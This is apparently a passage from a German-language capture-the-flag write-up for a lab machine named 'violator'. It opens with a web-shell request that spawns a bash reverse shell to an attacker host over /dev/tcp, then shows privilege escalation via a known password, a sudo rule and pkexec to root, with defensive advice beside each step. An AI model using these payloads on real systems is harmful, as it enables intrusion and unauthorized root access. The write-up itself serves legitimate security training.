aufruf shell: http://192.168.2.156/rev.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27 
┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.156] 33108
bash: cannot set terminal process group (1008): Inappropriate ioctl for device
bash: no job control in this shell
www-data@violator:/var/www/html$

Privilege Escalation

Analyse: Von der `www-data`-Shell wird versucht, mit `su dg` und dem bekannten Passwort `policyoftruth` zum Benutzer `dg` zu wechseln.
Bewertung: Der Wechsel ist erfolgreich. Dies hebt die Privilegien von `www-data` auf die des Benutzers `dg` an.
Empfehlung (Offensiv): Nun als `dg` weiter nach PE-Vektoren suchen, insbesondere die `sudo`-Rechte prüfen.
Empfehlung (Defensiv): Least Privilege für Dienstkonten wie `www-data` beibehalten. Starke Passwörter für alle Benutzer.

www-data@violator:/var/www/html$ su dg
Password: policyoftruth
dg@violator:/var/www/html$

Analyse: Als Benutzer `dg` wird `sudo -l` ausgeführt.
Bewertung: Die Ausgabe zeigt, dass `dg` den Befehl `/home/dg/bd/sbin/proftpd` als `ALL` (also als root) ohne Passwort (`NPASSWD`) ausführen darf. Dies ist ein klarer und sehr gefährlicher PE-Vektor. Da `dg` Eigentümer seines Home-Verzeichnisses ist, kann er die `proftpd`-Datei unter `/home/dg/bd/sbin/` durch ein beliebiges Skript (z.B. `/bin/bash`) ersetzen und dieses dann mittels `sudo` als Root ausführen.
Empfehlung (Offensiv): Den Pfad `/home/dg/bd/sbin/proftpd` mit `/bin/bash` überschreiben oder einen Symlink darauf erstellen und dann `sudo /home/dg/bd/sbin/proftpd` ausführen, um eine Root-Shell zu erhalten. *Hinweis: Der Bericht folgt diesem Weg nicht, sondern nutzt `pkexec`.*
Empfehlung (Defensiv): Niemals `sudo`-Regeln erstellen, die auf Dateien in Benutzer-Home-Verzeichnissen zeigen! Pfade in `sudoers` sollten immer absolut sein und auf Systembinaries zeigen, deren Integrität sichergestellt ist. Die `NOPASSWD`-Option sparsam und nur für sehr spezifische, ungefährliche Befehle verwenden.

dg@violator:/var/www/html$ sudo -l
Matching Defaults entries for dg on violator:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User dg may run the following commands on violator:
    (ALL) NPASSWD: /home/dg/bd/sbin/proftpd

Analyse: Eine Suche nach SUID-Dateien wird erneut durchgeführt.
Bewertung: Die Liste zeigt wieder Standard-SUID-Binaries, darunter auch `/usr/bin/pkexec`. Obwohl der `sudo`-Vektor existiert, entscheidet sich der Pentester hier (oder im Originalbericht) anscheinend, `pkexec` zu nutzen.
Empfehlung (Offensiv): `pkexec /bin/sh` ausführen. Da `sudo -l` bereits einen einfacheren Weg gezeigt hat, ist dieser Schritt eigentlich unnötig, wird aber laut Berichtstext verfolgt.
Empfehlung (Defensiv): Unnötige SUID-Bits entfernen. Polkit patchen (gegen PwnKit).

dg@violator:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
 35322   16 -rwsr-xr-x   1 root     root        14768 Mar  4  2015 /usr/lib/policykit-1/polkit-agent-helper-1
  1626   12 -rwsr-xr-x   1 root     root        10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
145244  304 -rwsr-xr--   1 root     messagebus   310800 Nov 25  2014 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
147953  432 -rwsr-xr-x   1 root     root       440416 May 12  2014 /usr/lib/openssh/ssh-keysign
  2257   12 -rwsr-xr-x   1 root     root        10344 Feb 25  2015 /usr/lib/pt_chown
 34835   20 -rwsr-sr-x   1 libuuid  libuuid     18904 Aug  5  2015 /usr/sbin/uuidd
 34573  340 -rwsr-xr--   1 root     dip        347296 Apr 21  2015 /usr/sbin/pppd
  1430   48 -rwsr-xr-x   1 root     root        47032 Jul 15  2015 /usr/bin/passwd
 34188   24 -rwsr-xr-x   1 root     root        23104 May  7  2014 /usr/bin/traceroute6.iputils
 34482   76 -rwsr-xr-x   1 root     root        75256 Oct 21  2013 /usr/bin/mtr
  1536  152 -rwsr-xr-x   1 root     root       155008 Mar 12  2015 /usr/bin/sudo
  1275   48 -rwsr-xr-x   1 root     root        46424 Jul 15  2015 /usr/bin/chfn
  1349   68 -rwsr-xr-x   1 root     root        68152 Jul 15  2015 /usr/bin/gpasswd
  1418   32 -rwsr-xr-x   1 root     root        32464 Jul 15  2015 /usr/bin/newgrp
 34720   52 -rwsr-sr-x   1 daemon   daemon      51464 Oct 21  2013 /usr/bin/at
  1278   44 -rwsr-xr-x   1 root     root        41336 Jul 15  2015 /usr/bin/chsh
 35325   24 -rwsr-xr-x   1 root     root        23304 Mar  4  2015 /usr/bin/pkexec <-- Target
 31889   32 -rwsr-xr-x   1 root     root        30800 May 15  2015 /bin/fusermount
   109   40 -rwsr-xr-x   1 root     root        36936 Jul 15  2015 /bin/su
    89   44 -rwsr-xr-x   1 root     root        44168 May  7  2014 /bin/ping
   117   68 -rwsr-xr-x   1 root     root        69120 Aug  5  2015 /bin/umount
    76   96 -rwsr-xr-x   1 root     root        94792 Aug  5  2015 /bin/mount
    90   44 -rwsr-xr-x   1 root     root        44680 May  7  2014 /bin/ping6

Analyse: Der Befehl `pkexec /bin/sh` wird ausgeführt. Es erscheint eine Passwortabfrage für Benutzer `dg` (Dave Gahan).
Bewertung: `pkexec` versucht, den Befehl `/bin/sh` als `root` auszuführen und benötigt dafür die Authentifizierung des aufrufenden Benutzers (`dg`). Da das Passwort (`policyoftruth`) bekannt ist, kann es hier eingegeben werden. Nach erfolgreicher Authentifizierung wird `/bin/sh` als Root gestartet. Der `id`-Befehl bestätigt `uid=0(root)`.
Ergebnis: Privilege Escalation erfolgreich! Durch Ausführen von `pkexec` und Eingabe des Benutzerpassworts wurden Root-Rechte erlangt.
Empfehlung (Offensiv): Root-Rechte nutzen.
Empfehlung (Defensiv): Sicherstellen, dass Benutzer keine unnötigen Programme über `pkexec` ausführen können (Polkit-Regeln). Starke Benutzerpasswörter erzwingen. Polkit patchen, falls PwnKit-Exploit möglich wäre (obwohl hier nicht genutzt). Die unsichere `sudo`-Regel für `dg` beheben!

dg@violator:/var/www/html$ pkexec /bin/sh
==== AUTHENTICATING FOR org.freedesktop.policykit.exec ===
Authentication is needed to run `/bin/sh' as the super user
Authenticating as: Dave Gahan,,, (dg)
Password: policyoftruth 
==== AUTHENTICATION COMPLETE ===
# id
uid=0(root) gid=0(root) groups=0(root)
#

Privilege Escalation erfolgreich! Voller Root-Zugriff erlangt.

Proof of Concept (pkexec Usage)

Schwachstelle: In diesem spezifischen Szenario ist die "Schwachstelle" nicht `pkexec` selbst (obwohl ältere Versionen PwnKit-anfällig sind), sondern die Tatsache, dass der Benutzer `dg` über das Wissen seines eigenen Passworts und die Standard-Polkit-Konfiguration `pkexec` nutzen kann, um Befehle als Root auszuführen. Der eigentlich gravierendere, aber ungenutzte Vektor war die `sudo`-Regel.
Ziel des POC: Nachweis, dass der Benutzer `dg` durch authentifizierte Nutzung von `pkexec` eine Root-Shell erlangen kann.
Voraussetzungen: Zugriff auf das System als Benutzer `dg`. Kenntnis des Passworts für `dg`. Standardmäßige Polkit-Konfiguration, die authentifizierte Ausführung von Befehlen als Root erlaubt.

Schritt 1: Identifizierung von pkexec

Analyse: Die `find`-Suche nach SUID-Dateien identifizierte `/usr/bin/pkexec` als SUID-root-Programm.

Schritt 2: Ausführung von pkexec mit Authentifizierung

Analyse: Der Befehl `pkexec /bin/sh` wird als Benutzer `dg` ausgeführt.
Bewertung: Polkit (`pkexec`) fordert zur Authentifizierung das Passwort des aufrufenden Benutzers (`dg`) an. Nach Eingabe des korrekten Passworts (`policyoftruth`) führt `pkexec` den angeforderten Befehl (`/bin/sh`) mit Root-Privilegien aus.
Ergebnis des POC: Die legitime, aber im Kontext des Pentests zur Eskalation genutzte Funktionalität von `pkexec` ermöglichte dem Benutzer `dg` das Erlangen einer Root-Shell.
Risikobewertung: Mittel (abhängig von der Passwortstärke und Polkit-Konfiguration). Die eigentliche kritische Schwachstelle war die ungenutzte `sudo`-Regel.
Empfehlung (Defensiv): Polkit-Regeln überprüfen und ggf. einschränken, welche Benutzer welche Aktionen über `pkexec` ausführen dürfen. Starke Passwörter erzwingen. Die unsichere `sudo`-Regel für `dg` beheben.

Flags

Analyse: Nach Erlangung der Root-Rechte wird das Root-Home-Verzeichnis (`/root`) aufgelistet und die Datei `flag.txt` gelesen.
Bewertung: Die `flag.txt` enthält einen Text mit Bezug zum Foghorn Leghorn-Thema. Dies ist die Root-Flag.

# pwd
/root
# ls
flag.txt
# cat flag.txt
I say... I say... I say boy! Pumping for oil or something...?
Foghorn Leghorn "A Broken Leghorn" 1950 (C) W.B.
(Der obige Text ist die Flag)

Analyse: Im bereitgestellten Text wird keine `user.txt` gesucht oder gefunden.
Bewertung: Es gibt anscheinend keine separate User-Flag auf diesem Pfad.